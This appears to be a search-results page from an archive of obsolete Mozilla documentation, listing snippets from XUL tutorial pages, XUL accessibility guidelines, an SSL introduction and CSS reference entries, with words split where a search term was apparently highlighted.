adding buttons to a window the window we've created so far has had nothing in it, so it isn't very interesting yet. in this section, we will add two buttons, a find button and a cancel button. we will also learn a simple way to position them on the window. like html, xul has a number of tags that can be used to create user interface elements. the most basic of these is the button tag. this element is used to create simple buttons. the button element has two main properties associated with it, a label and an image. you need one or the other or both. thus, a button can have a label only, an image only or both a label and an image. ...
...ting a simple find button for the find files utility. the example code below shows how to do this. <button id="find-button" label="find"/> note: firefox does not allow you to open chrome windows from web pages, so the view links in the tutorial will open in normal browser windows. due to this, the buttons will appear to stretch across the window. you can add align="start" to the window tag to p
revent the stretching. the findfile.xul example let's add this code to the file findfile.xul that we created in the p
revious section. the code needs to be inserted in-between the window tags. the code to add is shown in red below: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal...
... that the two buttons appear beside each other. ...
Adding Event Handlers - Archive of obsolete content
we haven't cleaned it up much but we have created a simple user interface easily. next, we will show how to add scripts to it. using scripts to make the find files dialog functional, we need to add some scripts which will execute when the user interacts with the dialog. we would want to add a script to handle the find button, the cancel button and to handle each menu command. we write this using javascript functions much in the same way as html. you can use the script element to include scripts in xul files. ...
...nt. for example, when the mouse is moved over a button that is inside a box, a 'mousemove' event is generated, and sent first to the window, followed by the document, and then the box. that completes the capturing phase. next, the 'mousemove' event is sent to the button. finally, the bubbling phase causes the event to be sent to the box, document and window. the bubbling phase is essentially the
reverse of the capturing phase. note that some events don't do the bubbling phase. you can attach listeners to each element to listen to the events during each step of event propagation. due to the way a single event is passed to all the ancestors, you may attach a listener to a specific element or to an element higher in the hierarchy. naturally, an event attached to an element higher up will recei...
... true for capturing listeners. ...
Box Model Details - Archive of obsolete content
here, we'll find out some more details with some examples. more layout details the style properties such as min-width and max-height can be applied to any element. we've added them to buttons and textboxes, but we can also add them to spacers or boxes. in addition, the flex attribute can be applied to any element. example 1 : source view <hbox flex="1"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"/> <button label="right" style="min-width: 100px;" flex="1"/> </hbox> in the example above, all three elements will resize themselves as they are all flexible. the two buttons indicate a minimum width of 100 pixels. ...
...dow should appear just over 200 pixels wide. that's enough for the two buttons. because all three elements are flexible, but they don't need any more room, the flexibility adds no extra space. as shown in the image, there are two buttons which expand vertically to fit their container, which in this case is the hbox. the align attribute controls this behavior on a horizontal box. you can also p
revent this stretching by placing a maximum height on the elements or, better, on the box itself. if a box has a maximum height, the elements inside it are constrained by this. however, the problem with this is that you need to know how big the element will be beforehand. example 2 : source view <hbox flex="1" align="top"> <button label="left" style="min-width: 100px;" flex="1"/> <spacer flex="1"...
...than 30 pixels. ...
Broadcasters and Observers - Archive of obsolete content
to do this, we can use broadcasters. command attribute forwarding we've already seen that elements such as buttons can be hooked up to commands. in addition, if you place the disabled attribute on the command element, any elements hooked up to it will also become disabled automatically. this is a useful way to simplify the amount of code you need to write. the technique also works for other attributes as well. for instance, if you place a label attribute on a command element, any buttons attached to the command will share the same label. ...
...ed to a command that does. the button will share the label with the command. the checkbox already has a label, however, it will be overridden by the command's label. the result is that both the button and the checkbox will have the same label 'open'. if you were to modify the command's label attribute, the label on the button and checkbox will adjust accordingly. we saw something like this in a p
revious section where the disabled attribute was adjusted once and propagated to other elements. this attribute forwarding is quite useful for a number of purposes. for instance, let's say that we want the back action in a browser to be disabled. we would need to disable the back command on the menu, the back button on the toolbar, the keyboard shortcut (alt+left for example) and any back commands o...
...directly will not cause the broadcast to occur so the alert box will not appear. if you tried duplicating the code for the first button several times, you would end up with a series of alert boxes appearing, one for each button. this is because each button is an observer and will be notified when the style changes. next, we'll look at using the document object model with xul elements. « p
reviousnext » ...
Content Panels - Archive of obsolete content
adding child panels there may be times when you want to have part of a document loaded from a different page. sometimes, you will want to change part of the window. a good example is a step-by-step wizard that guides you through a number of screens, asking a set of questions. each time the user clicks the next button, the next screen of the wizard is displayed. you could create a wizard interface by opening a different window for each screen. there are three problems with this approach. first, each window could appear in a different location (although there are ways around this). ...
...o only getting access to the web page content. you might note that a mozilla browser window has xul content for the toolbars and statusbar and so forth with a tabbrowser forming the main area. this inner area displays a web page, but the web page cannot access the xul around it. this is because it uses the second type of browser, specified by setting the type attribute to the value content. this p
revents the content from traversing up to the xul window. an example: <browser src="http://www.mozilla.org" type="content" flex="1" /> important: you must set the type attribute correctly if you are going to be displaying remote web sites inside the browser element. the tabbrowser sets the content type automatically on all tabbed browsers that it creates. so you don't have to set this explicitly ...
... is accessible using the xul window's 'content' property. this makes it easy to access the content of the main browser using a script. the tabbrowser automatically sets the type attribute of whichever browser is currently visible to content-primary, which means that you will always be able to access the currently visible content in this way. next, we'll look at how to create a splitter. « p
reviousnext » ...
Creating a Window - Archive of obsolete content
first, however, we should look at the basic syntax of a xul file. creating a xul file an xul file can be given any name but it really should have a .xul extension. the simplest xul file has the following structure: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- other elements go here --> </window> this window will not do anything since it doesn't contain any ui elements. those will be added in the next section. ...
...est lines of javascript like these in the error console. choose tools – error console, type a line of javascript, and press the evaluate button, or the return or enter key. the findfile.xul example let's begin by creating the basic file for the find file dialog. create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the p
revious section). add the xul template shown at the top of this page to the file and save it. you can use the command-line parameter '-chrome' to specify the xul file to open when mozilla starts. if this is not specified, the default window will open. (usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/conte...
...d see the results in real-time from within mozilla! troubleshooting if the xul window fails to show up on the desktop but has an icon on the desktop tool bar, check the xml-stylesheet declaration. make sure that you have included the stylesheet correctly: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> in the next section, we will add some buttons to the window. « p
reviousnext » ...
Cross Package Overlays - Archive of obsolete content
you can also go the other way and have the overlays specify which windows that they apply to. you specify this by modifying the contents.rdf file for your package. this is useful because the overlay can modify the user interface of another package without changing the other package. for example, you could add menu items or toolbars to the mozilla browser window. ...
...> </rdf:seq> this declares that we are adding a overlay window, a child of the root overlay node (urn:mozilla:overlays). you can add additional nodes for any other windows that you want to apply overlays to by adding additional li nodes. next, we add a node for each overlay to apply to the window. in this case, we only have one, but we could apply others also. add these lines just after the p
revious lines. <rdf:seq about="chrome://navigator/content/navigator.xul"> <rdf:li>chrome://findfile/content/foverlay.xul</rdf:li> </rdf:seq> mozilla reads this information and builds a list of overlays that are applied to other windows. it stores this information in the chrome/overlayinfo directory. you do not need to manually modify the files in this directory. it is automatically generate...
...technique to apply extra style sheets. ...
Document Object Model - Archive of obsolete content
dom introduction the document object model (dom) is used to store the tree of xul nodes. when an xul file is loaded, the tags are parsed and converted into a hierarchical document structure of nodes, one for each tag and block of text. the dom structure may be examined and modified using various methods provided for this purpose. specific xul elements also provide additional functions which may be used. each xul file that is loaded will have its own document displayed in a window or frame. although there is only ever one document associated with a window at a time, you may load additional documents using various methods. ...
...ure, you can navigate through the tree using a variety of properties. some common properties are listed below: firstchild reference to the first child node of an element lastchild reference to the last child node of an element childnodes holds a list of the children of an element parentnode reference to the parent of an node nextsibling reference to the next sibling in sequence p
revioussibling reference to the p
revious sibling in sequence these properties allow you to navigate through a document is various ways. for example, you might get the first child of an element using the firstchild property and then navigate through the children using the nextsibling property. or, you might accomplish the same thing by iterating through the items in the childnodes list. in mozilla...
... var child = childnodes[i]; // do something with child } the childnodes variable will hold the children of the document root element. we then use a for loop to iterate over the children, accessing each item using an array-like notation. find files example so far: source view see also a re-introduction to javascript javascript reference next we'll learn how to modify the dom. « p
reviousnext » ...
Focus and Selection - Archive of obsolete content
focused elements the focused element refers to the element which currently receives input events. if there are three textboxes on a window, the one that has the focus is the one that the user can currently enter text into. only one element per window has the focus at a time. the user can change the focus by clicking an element with the mouse or by pressing the tab key. when the tab key is pressed, the next element is given the focus. to step backwards, the shift key and tab key can be pressed. rearranging the tab order you can change the order in which elements are focused when the user presses the tab key by adding a tabindex attribute to an element. ...
...set the focus to. the blur method can be used to remove the focus from an element. the following example demonstrates this: example 5 : source view <textbox id="addr"/> <button label="focus" oncommand="document.getelementbyid('addr').focus()"/> or, you can use the methods advancefocus and rewindfocus on the command dispatcher. these methods move the focus to the next element in sequence or the p
revious element respectively. this is what happens when the user presses tab or shift+tab. for textboxes, a special attribute, focused is added whenever the element has the focus. you can check for the presence of this attribute to determine if the element has the focus, either from a script or within a style sheet. it will have the value true if the textbox has the focus and, if the textbox does not...
...d the cursor is moved to that position. ...
List Controls - Archive of obsolete content
list boxes a list box is used to display a number of items in a list. the user may select an item from the list. xul provides two types of elements to create lists, a listbox element to create multi-row list boxes, and a menulist element to create drop-down list boxes. they work similar to the html select element, which performs both functions, but the xul elements have additional features. the simplest list box uses the listbox element for the box itself, and the listitem element for each item. for example, this list box will have four rows, one for each item. ...
...ne is selected, it appears as the choice in the menulist. the selected attribute is used to indicate the value that is selected by default. editable menulist by default, you can only select choices from the list. you cannot enter your own text by typing it in. a variant of the menulist allows editing the text in the field. for example, the url field in the browser has a drop-down for selecting p
reviously typed urls, but you can also type them in yourself. to create an editable menulist, add the editable attribute as follows: example 6 : source view <menulist editable="true"> <menupopup> <menuitem label="www.mozilla.org" /> <menuitem label="www.xulplanet.com" /> <menuitem label="www.dmoz.org" /> </menupopup> </menulist> the url field created here has three pre-populated cho...
... </menupopup> </menulist> the url field created here has three pre-populated choices that the user can select or they can enter one of their own by typing it into the field. the text the user enters is not added as a new choice. because the label attribute was not used in this example, the default value will be blank. in the next section, we'll learn about creating progress meters. « p
reviousnext » ...
Manifest Files - Archive of obsolete content
packages a package is a set of xul files and scripts that define the functionality of a user interface. packages may be installed into mozilla and referenced with chrome urls. a package can contain any kinds of files and may be split into subdirectories for different parts of the package. a package can be stored either as a directory or as a jar archive. manifest files a manifest file describes a package and maps its location on disk to a chrome url. the manifest files in the chrome directory will be examined when a mozilla application starts up to see what packages are installed. ...
...ge to override built-in functions with their own code. if the xpcnativewrappers flag is specified, it indicates that scripts running in a privileged context don't call these overridden versions, but the original built-in versions instead. otherwise, if an extension attempted to call the modified versions, it would likely not work properly, or worse, create a security hole. this flag was added to p
revent this problem and should always be used for newer extensions, but is left out for older extensions that might not be compatible with the change. for more information about this feature, see xpcnativewrapper. themes and locales the themes and locales, the syntax is similar as for content packages, but you also need to specify the content package you are providing a theme or locale for. for examp...
... or in the jar file referenced by the manifest. ...
Modifying a XUL Interface - Archive of obsolete content
creating new elements you can create new elements using the createelement() function of the document. it takes one argument, the tag name of the element to create. you can then set attributes of the element using the setattribute() function and append it to the xul document using the appendchild() function. ...
...n still enter text into the textbox. you can also retrieve the current label or value using these properties, as in the following example: example 5 : source view <button label="hello" oncommand="alert(this.label);"/> toggling a checkbox checkboxes have a checked property which may be used to check or uncheck the checkbox. it should be easy to determine how this is used. in this next example, we
reverse the state of the checked property whenever the button is pressed. note that while the label and value properties are strings, the checked property is a boolean property which will be set either true or false. note: if you're creating the checkbox dynamically and it's not yet added to the dom, you must use setattribute("checked", "false") instead, because the xbl isn't initiated yet.) examp...
... note that even though one of the radio buttons is inside an hbox, it is still part of the radio group. if the first radio button is selected (index of 0), the textbox is enabled by setting its disabled property to true. if the second radio button is selected, the textbox is enabled. the next section will provide more details about manipulating radio groups as well as manipulating lists. « p
reviousnext » ...
More Menu Features - Archive of obsolete content
remember that you can put any element inside a menupopup. we've looked at placing menuitems and menuseparators in menupopups. however, you can create submenus by simply placing the menu element inside the menupopup element. this works because the menu element is valid even when it isn't directly placed inside a menu bar. ...
...n be checked on and off by selecting the menu item. menu with radios in addition to standard checks, you can create the radio style of checks by setting the type to a value of radio. a radio check is used when you want a group of menu items where only one item can be checked at once. an example might be a font menu where only one font can be selected at a time. when another item is selected, the p
reviously selected item is unchecked. in order to group a set of menu items together, you need to put a name attribute on each one to group. set the value to the same string. the example below demonstrates this: example 3 : source view <toolbox> <menubar id="planets-menubar"> <menu id="planet-menu" label="planet"> <menupopup> <menuitem id="jupiter" label="jupiter" type="radio" nam...
...rouped together because they all have the same name. the last menu item, earth, while a radio button, is not part of this group because it has a different name. of course, the grouped items all have to be within the same menu. they don't have to be placed next to each other in the menu, although it doesn't make as much sense if they aren't. next, we'll find out how to create popup menus. « p
reviousnext » ...
More Wizards - Archive of obsolete content
more complex wizard navigation normally, a wizard displays each wizardpage in the order that you place them in the xul file. in some cases however, you may want to have different pages of the wizard appear depending on what the user selects in earlier pages. in this case, place a pageid attribute on each of the pages. this should be set to an identifier for each page. then, to navigate to a page, use one of two methods: set the next attribute on each page to the page id of the next page to go to. you can change these attributes as needed to navigate to different pages. call the wizard's goto() method. it takes one argument, the page id of a page to go to. ...
... tabs are not displayed and the user navigates between pages by using the buttons along the bottom. because all of the pages are part of the same file, all of the values of the fields on all pages will be remembered. thus, you do not have to load and save information between pages. however, you may want to do some validation of each field on each page. for this, use the handlers described in the p
revious section. if a field is invalid, you might display an alert. in some cases, it would be more convenient to disable the next button until valid input has been entered. the wizard has a property canadvance, which can be set to true to indicate that the next button should be enabled. if set to false, the next button is disabled. you can change the property when invalid or valid data has been ente...
...ill be disabled on the first page so you don't have to set it yourself. another useful property of the wizard is currentpage, which holds a reference to the currently displayed wizardpage. you can also modify the current page by changing this property. if you do change it, the various page change events will still be fired. next, we'll see how to use overlays to handle common content. « p
reviousnext » ...
Numeric Controls - Archive of obsolete content
these elements are only available in firefox 3 and later. number fields a textbox may be used for entering numbers by setting the value of the type attribute to the value number. this type of textbox may only be used to enter numbers. other characters are not allowed and are just ignored if typed. in addition, arrow buttons appear beside the textbox to allow the user to cycle through the values. as with other textboxes, the default value can be specified with the value attribute. naturally, this value should be a number. however, the minimum and maximum values can also be specified using the min and max attributes. ...
...ze of a file. a scale would be used when the actual value isn't important, just that sliding the scale decreases or increases a state. for instance, a volume slider or a zoom level. the default arrangement of a scale is horizontal with lower values to the left and higher values to the right. however, you can change this orientation with the orient and dir attributes. <scale orient="vertical" dir="
reverse"/> this scale will be shown vertical with lower values at the bottom and higher values at the top. date and time entry fields the datepicker and timepicker elements may be used to allow the user to enter dates and times. when used, they display a set of numeric textboxes to enter each of the components of the date or time. <datepicker value="2004-03-24"/> <timepicker value="15:30:00"/> ...
... the type attribute may be used to select the other two. using a value of grid uses a calendar grid, as shown in the image below. you can also use the value popup which creates a combination of the two types. this type has three fields for entering the year, month and date, as well as a dropdown button for displaying a popup calendar grid for selecting a day. <datepicker type="popup"/> « p
reviousnext » ...
Styling a Tree - Archive of obsolete content
styling the tree you can style the tree border and the column headers in the same way as other elements. style added to the tree element will apply to the entire tree. adding a style to the treecol element does not cause the style to be applied to the column but only to the header. the body of the tree must be styled in a somewhat different way than other elements. this is because the tree body is stored in a different way to other elements. the outer treechildren is the only real element in the tree body. the inner elements are just placeholders. setting properties instead, you must use the properties attribute on the rows or cells to set one or more named properties. ...
...olumn,prop){} from gecko 22 you can return a string of space-separated property names from these functions. getrowproperties : function(row){ return ''} getcolumnproperties : function(column,columnelement){ return ''} getcellproperties : function(row,column){ return ''} let's look at an example of changing a specific cell. let's make every fourth row have blue text, using the example from a p
revious section. we'll need to add code to the getcellproperties() function, to add a property 'makeitblue' for cells in every fourth row. (we don't use getrowproperties() as the text color will not be inherited into each cell.) prior to gecko 22 the properties object that is passed as the last argument to the getcellproperties() is an xpcom object that implements nsisupportsarray. it is really just...
...treechildren::-moz-tree-row(odd, selected) { background-color: #ffffaa; } treechildren::-moz-tree-cell-text(selected) { color: #000000; } treechildren::-moz-tree-cell-text(odd, selected) { color: #000000; } note that you can also style e.g. all rows, without the need of using properties; see building trees for an example. next, we'll look at how to modify the default skin. « p
reviousnext » ...
Tabboxes - Archive of obsolete content
we'll find out how to create them here. tabboxes tabboxes are typically used in an application in the preferences window. a series of tabs appears across the top of a window. the user can click each tab to see a different set of options. it is useful in cases when you have more options than will fit in one screen. xul provides a method to create such dialogs. it involves five new elements, which are described briefly here and in more detail below. tabbox the outer box that contains the tabs along the top and the tab pages themselves. tabs the inner box that contains the individual tabs. in other words, this is the row of tabs. tab a specific tab. ...
...l orientation. this will make the tabs appear to the left of, not above, the tab pages. note that changing the orientation of the tabpanels element will have no effect, since the tabbed pages are layered on top of each other. you can place the tabs on the right or bottom side by moving the tabs element to after the tabpanels element in your code. alternatively, you could set the dir attribute to
reverse on the tabbox. however, you should probably leave the tabs on top, otherwise they might not look very good under particular themes. adding tabs to our find files dialog let's add a second panel to the find files dialog. we'll create an options tab (and select it by default) that will contain some options for searching. this may not be the best interface for doing this, but we'll use it to ...
...und the main content of the window. ...
Templates - Archive of obsolete content
populating elements xul provides a method in which we create elements from data supplied by rdf, either from an rdf file or from an internal datasource. numerous datasources are provided with mozilla such as bookmarks, history and mail messages. more details on these will be provided in the later section. usually, elements such as treeitems and menuitems will be populated with data. however, you can use other elements if you want although they are more useful for specialized cases. nevertheless, we'll start with these other elements because trees and menus require more code. ...
...late that begins with 'rdf:' indicates that the value should be taken from the datasource. in the example earlier, this is the case for the label attribute. the remainder of the value refers to the name property in the datasource. it is constructed by taking the namespace url used by the datasource and appending the property name. if you don't understand this, try re-reading the last part of the p
revious section. it explains how resources in rdf can be referred to. here, we only use the name of the bookmark but numerous other fields are available. the label of the buttons is set to this special uri because we want the labels on the buttons to be set to the names of the bookmarks. we could have put a uri in any of the attributes of the button, or any other element. the values of these attribu...
... cannot match based on the attributes id, rdf:property or rdf:instanceof. because you can just use your own attributes with your own namespace, it probably doesn't really matter anyway. note that a template with no rules in it, as in the first example, is really equivalent functionally to a template with a single rule with no attributes. next, we'll look at using templates with trees. « p
reviousnext » ...
The Box Model - Archive of obsolete content
introduction to boxes the main form of layout in xul is called the 'box model'. this model allows you to divide a window into a series of boxes. elements inside of a box will orient themselves horizontally or vertically. by combining a series of boxes, spacers and elements with flex and pack attributes, you can control the layout of a window. although a box is the fundamental part of xul element layout, it follows a few very simple rules. a box can lay out its children in one of two orientations, either horizontally or vertically. a horizontal box lines up its elements horizontally and a vertical box orients its elements vertically. ...
...ox> the three buttons here are oriented vertically as was indicated by the box. to change the buttons so that they are oriented horizontally, all you need to do is change the vbox element to a hbox element. login prompt example you can add as many elements as you want inside a box, including other boxes. in the case of a horizontal box, each additional element will be placed to the right of the p
revious one. the elements will not wrap at all so the more elements you add, the wider the window will be. similarly, each element added to a vertical box will be placed underneath the p
revious one. the example below shows a simple login prompt: example 2 : source view <vbox> <hbox> <label control="login" value="login:"/> <textbox id="login"/> </hbox> <hbox> <label control="pass...
...as you see in the image below, the label and text input are placed side by side. the spacer and two buttons are also placed horizontally in their box. notice how the spacer causes the buttons to appear on the right side, because it is flexible. example so far: source view in the next section, we will look at specifying the sizes of individual elements and how to constrain their sizes. « p
reviousnext » ...
Tree Selection - Archive of obsolete content
getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually. if you add the seltype attribute to the tree, set to the value single, the user may only select one row at a time. otherwise, the user may select multiple rows, which will not necessarily be contiguous. the tree provides a number of functions which can be used to determine whether an item is selected. handling the select event first, let's see how we can determine when an item is selected. the onselect() event handler may be added to the tree element. when the user selects an item from the tree, the event handler is called. ...
.... instead, you should use the selection's select function as in the example above. you can select all rows with the selectall() function. note that rows nested inside containers that are not open will not be selected. naturally, this will only have any effect for trees that use multiple selection. there is also a clearselection() function to clear the selection, and an invertselection function to
reverse the selection, that is, deselect all selected rows and select all unselected rows. to select specific rows, use the rangedselect() function which selects all rows in between two indices. here is an example which selects rows between index 2 and 7. note that rows 2 and 7 will also be selected. tree.view.selection.rangedselect(2,7,true); the last argument indicates whether to add to the curren...
...s whether to add to the current selection or not. ...
Tree View Details - Archive of obsolete content
creating a hierarchical custom view in the last section, we created a simple tree view that implemented only a minimum amount of functionality. next, let's look at some additional functions that views may implement. here, we will examine how to create a hierarchical set of items using the view. this is a fairly tricky process as it involves keeping track of which items have children and also which rows are open and closed. nesting level every row in the tree has a nesting level. the topmost rows are at level 0, the children of those rows are at level 1, their children at level 2 and so on. ...
...the view's toggleopenstate method. the view should then perform any necessary operations to retrieve the child rows and then update the tree with the new rows. note: as of this writing (gecko 2.0), custom nsitreeview implementations must be prepared to handle a call to toggleopenstate for any row index which returns true for a call to iscontainer, regardless of whether the container is empty.
review of the methods here is a
review of the methods needed to implement hierarchical views: getlevel(row) hasnextsibling(row, afterindex) getparentindex(row) iscontainer(row) iscontainerempty(row) iscontaineropen(row) toggleopenstate(row) the afterindex argument to hasnextsibling function is used as optimization to only start looking for the next sibling after that point. for instance, the call...
...tion) {}, performactiononcell: function(action, index, column) {}, getrowproperties: function(idx, prop) {}, getcellproperties: function(idx, column, prop) {}, getcolumnproperties: function(column, element, prop) {}, }; function init() { document.getelementbyid("elementlist").view = treeview; } ]]></script> </window> next, we'll look in more detail at the tree box object. « p
reviousnext » ...
XUL accessibility guidelines - Archive of obsolete content
, but does require a basic understanding of the different types of disabilities, commonly used assistive technologies, and special accessibility features built into the xul languages. most of all, accessibility requires a conscious effort on your part, and a desire to include everyone. it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no p
revious background in accessibility—can understand them. in addition, there is an active community of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible. there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no t...
...with a keyboard. the recommended way of fixing this is that all functionality associated with a toolbar be duplicated elsewhere in the application, such as in a menu item or context menu. in cases where duplication of functionality is not possible (such as a window without a menu bar), toolbar buttons can be made focusable by adding the special css rule -moz-user-focus: normal. (firefox's "print p
review" window uses this fallback technique.) this should only be used as a last resort, and it should be consistent throughout a window (that is either all toolbar buttons are tabbable or none of them are). keyboard shortcuts keyboard shortcuts are very useful to users needing keyboard access. there are many ways to provide keyboard shortcuts. they are well documented in the xul tutorial:keyboard ...
...y xul element can be set to scroll by setting a style to "overflow: auto" or "overflow: scroll". this flexibility should be used carefully. maintaining focus the user should typically control where the current focus is located. avoid changing the focus automatically. however, disabling, hiding, or destroying the focus element (or any ancestor of the focus element) can cause a loss of focus. to p
revent this, move the focus to the next element before disabling, hiding, or destroying the focus element. the following example shows a javascript function that can be called before destroying an element to check for focus and move it if necessary. function movefocus(element) { if(element == document.commanddispatcher.focusedelement) { document.commanddispatcher.advancefocus(); ...
The Implementation of the Application Object Model - Archive of obsolete content
ision for a variety of reasons. html is designed to handle documents and not to handle applications. it makes sense to maintain a clean separation between the web application and the web documents that the application contains. by keeping the dom tree in a sandbox (safely insulated from the containing aom tree in which it might occur), you have an easy means of distinguishing the two trees and p
reventing scripts in the dom tree from manipulating the aom tree. in other words, it makes sense to have two parallel languages, one for describing applications, and the other for describing documents that can be used by those applications. it does not make sense to confuse or obscure the purpose of html by adding in a whole slew of new functionality that hasnothing to do with the display of web page...
...code that would be doing the same thing in the function bodies. here's another problem. the various interfaces, nsicontent et.al., are not yet solidified. they are likely to change following the first release of nglayout, and when they do, anyone that implemented one of those interfaces will have to change as well in order to upgrade to the new world. statement #1 the two points raised in the p
revious two paragraphs, namely (1) redundancy of methods in the interfaces as well as a likely code redundancy in the implementation of some of those methods, and (2) the desire to be insulated from the layout dll should those interfaces change, imply that a layer needs to exist between the pluggable content and the content tree interfaces. this layer would serve several useful functions. first of al...
...subtree nested inside another subtree can specify a different value for the persistent attribute, thus allowing the xul writer to specify a default for the whole window, but to still selectively override it for certain subtrees. note that even if the persistent attribute is set to false, that changes can still be made to a window's content tree. they simply won't be remembered across sessions. p
reventing the persistence of attributes: the discardable attribute individual attributes can be specified as non-persistent (i.e.,discardable) through the use of the discardable attribute. for example, the open attribute used to indicate whether a node is expanded or collapsed in a tree view is something that is sometimes persistent (in the case of bookmarks) and sometimes not (in the case of mail f...
menupopup - Archive of obsolete content
2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this event is sent to a popup when it is about to be hidden. onpopupshowing type: script code this event is sent to a popup just before it is opened. this handler is usually used to dynamically set the contents when the user requests to display it. returning false from this event handler p
revents the popup from appearing. onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened. position type: string the position attribute determines where the popup appears relative to the element the user clicked to invoke the popup. this allows you to place the popup on one side of a butt...
... no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the popup may be either anchored to another node or opened freely. to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same docum...
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). openpopupatscreen( x, y, iscontextmenu ) return type: no return value open the popup at a specific screen position specified by x and y. this position may be adjusted if it would cause the popup to be off of the screen. the x and y coordinates are measured...
panel - Archive of obsolete content
2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this event is sent to a popup when it is about to be hidden. onpopupshowing type: script code this event is sent to a popup just before it is opened. this handler is usually used to dynamically set the contents when the user requests to display it. returning false from this event handler p
revents the popup from appearing. onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened. position type: string the position attribute determines where the popup appears relative to the element the user clicked to invoke the popup. this allows you to place the popup on one side of a butt...
... no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the popup may be either anchored to another node or opened freely. to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same docum...
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). openpopupatscreen( x, y, iscontextmenu ) return type: no return value open the popup at a specific screen position specified by x and y. this position may be adjusted if it would cause the popup to be off of the screen. the x and y coordinates are measured...
Introduction to SSL - Archive of obsolete content
with ssl 2.0 support disabled by default, in favor of ssl 3.0. in addition, ssl 2.0 support is entirely removed in firefox 8. decisions about which cipher suites a particular organization decides to enable depend on trade-offs among the sensitivity of the data involved, the speed of the cipher, and the applicability of export rules. some organizations may want to disable the weaker ciphers to p
revent ssl connections with weaker encryption. however, due to u.s. government restrictions on products that support anything stronger than 40-bit encryption, disabling support for all 40-bit ciphers effectively restricts access to network browsers that are available only in the united states (unless the server involved has a special global server id that permits the international client to "step up"...
...un. the client and the server use the session keys to encrypt and decrypt the data they send to each other and to validate its integrity. before continuing with the session, red hat servers can be configured to check that the client's certificate is present in the user's entry in an ldap directory. this configuration option provides one way of ensuring that the client's certificate has not been
revoked. it's important to note that both client and server authentication involve encrypting some piece of data with one key of a public-private key pair and decrypting it with the other key: in the case of server authentication, the client encrypts the premaster secret with the server's public key. only the corresponding private key can correctly decrypt the secret, so the client has some assur...
...er of introduction" from that ca and proceeds. at this point, the ssl protocol allows the server to consider the client authenticated and proceed with the connection as described in step 6. red hat servers may optionally be configured to perform step 5 before step 6. is the user's certificate listed in the ldap entry for the user? this optional step provides one way for a system administrator to
revoke a user's certificate even if it passes the tests in all the other steps. the red hat certificate system can automatically remove a
revoked certificate from the user's entry in the ldap directory. all servers that are set up to perform this step will then refuse to authenticate that certificate or establish a connection. if the user's certificate in the directory is identical to the user's cert...
Common Firefox theme issues and solutions - Archive of obsolete content
this document was started on july 27, 2012 so it will take some time to completely fill in and some issues still need to have solutions written for them. ...
...to test this please go to bug 324777 using the default theme and activate the "click me" link. the url bar of the resulting popup window is disabled. address bar "door hangers" door hanger sync panel not styled the sync panel at the bottom of the "door hanger" for the save password pa...
...e css standard box-shadow property instead (supported by firefox since firefox 4). -moz-transition firefox no longer supports -moz-transition style property. use css standard transition property instead (supported by firefox since firefox 4). resources amo editors theme testing guidelines when developing and testing your themes, please refer to the theme testing guidelines amo editors use to
review themes. this guide will help you thoroughly test your theme to find and fix issues before you push updates to amo. this is document is a work in progress so feedback and/or suggestions is appreciated. mdn css reference mozilla's developer network maintains a great css reference. amo themes forum we'd like to encourage you to participate in the amo (addons.mozilla.org) forums theme forum. ...
CSS - Archive of obsolete content
a slider control is one possible representation of <input type="range">.::-ms-fill-upperthe ::-ms-fill-upper css pseudo-element is a microsoft extension that represents the upper portion of the track of a slider control; that is, the portion corresponding to values greater than the value currently selected by the thumb. ...
... is one possible representation of <input type="range">.::-ms-fill-upperthe ::-ms-fill-upper css pseudo-element is a microsoft extension that represents the upper portion of the track of a slider control; that is, the portion corresponding to values greater than the value currently selected by the thumb. ...
...-upper css pseudo-element is a microsoft extension that represents the upper portion of the track of a slider control; that is, the portion corresponding to values greater than the value currently selected by the thumb. a slider control is one possible representation of <input type="range">.::-ms-
revealthe ::-ms-
reveal css pseudo-element is a microsoft extension that is used to display a password
reveal button for use with a password field created by <input type="password">. the user presses the button to
reveal the actual field value rather than asterisks.::-ms-thumbthe ::-ms-thumb css pseudo-element is a microsoft extension that represents the thumb that the user moves within the track of a slider control to alter its numerical value. a slider control is one possible representation of <inpu...
Accessing XML children - Archive of obsolete content
